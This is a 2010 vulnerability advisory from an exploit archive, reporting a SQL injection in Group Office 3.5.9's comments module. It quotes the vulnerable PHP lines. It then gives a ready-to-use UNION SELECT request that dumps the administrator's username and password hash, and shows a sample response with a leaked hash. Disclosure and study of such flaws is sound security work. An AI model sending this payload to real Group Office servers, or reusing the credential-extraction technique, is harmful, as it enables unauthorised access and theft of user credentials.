Home / os / win7

Group Office (comment_id) SQL Injection Vulnerability

Posted on 16 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Group Office (comment_id) SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=====================================================
Group Office (comment_id) SQL Injection Vulnerability
=====================================================


# Title
Group Office Remote SQL Injection Vulnerability
 
# Author
ADEO Security
 
# Published
17/07/2010
 
# Version
3.5.9 (Possible all versions)
 
# Vendor
http://www.group-office.com
 
# Download
http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download
 
# Description
&quot;Take your office online with Group-Office groupware. Share projects,
calendars, files and e-mail online with co-workers and clients. Easy
to use and fully customizable, Group-Office takes online collaboration
to the next level.&quot;
 
# Credit
Vulnerability founded by Canberk BOLAT
    - Mail: security[AT]adeo.com.tr
    - Web: http://security.adeo.com.tr , http://adeosecuritylabs.com
 
# Vulnerability
Remote attacker can inject sql codes to the system that host target
web application. Its high level vulnerability.
 
modules/comments/json.php:
23  $comment = $comments-&gt;get_comment(($_REQUEST['comment_id']));
 
 
In json.php 'get_comment' method called with value of HTTP Request
that's name 'comment_id'. In the 'get_comment' method, variable
'$comment_id' inserted to sql query and executed by application.
 
modules/comments/classes/comments.class.inc.php:
function get_comment($comment_id)
{
$this-&gt;query(&quot;SELECT * FROM co_comments WHERE id=&quot;.$this-&gt;escape($comment_id));
...
 
'escape' method can't prevent because attacker don't need single
quotes for successful exploitation.
 
# Exploitation
Request: http://server/groupoffice/modules/comments/json.php?task=comment&amp;comment_id=888881+union+select+1,2,3,4,5,6,(select+concat_ws(0x3a,username,password)+from+go_users+where+id=1)
 
Response: {&quot;data&quot;:{&quot;id&quot;:&quot;1&quot;,&quot;link_id&quot;:&quot;2&quot;,&quot;link_type&quot;:&quot;3&quot;,&quot;user_id&quot;:&quot;4&quot;,&quot;ctime&quot;:&quot;01-01-1970
1:00&quot;,&quot;mtime&quot;:&quot;01-01-1970
1:00&quot;,&quot;comments&quot;:&quot;admin:$1$sM5wjKS9$wJPfZZWO53uu8eCxjOesS/&quot;,&quot;user_name&quot;:&quot;&quot;},&quot;success&quot;:true}
 
Application's response contains result of the attacker's injected sql codes.


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-16]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :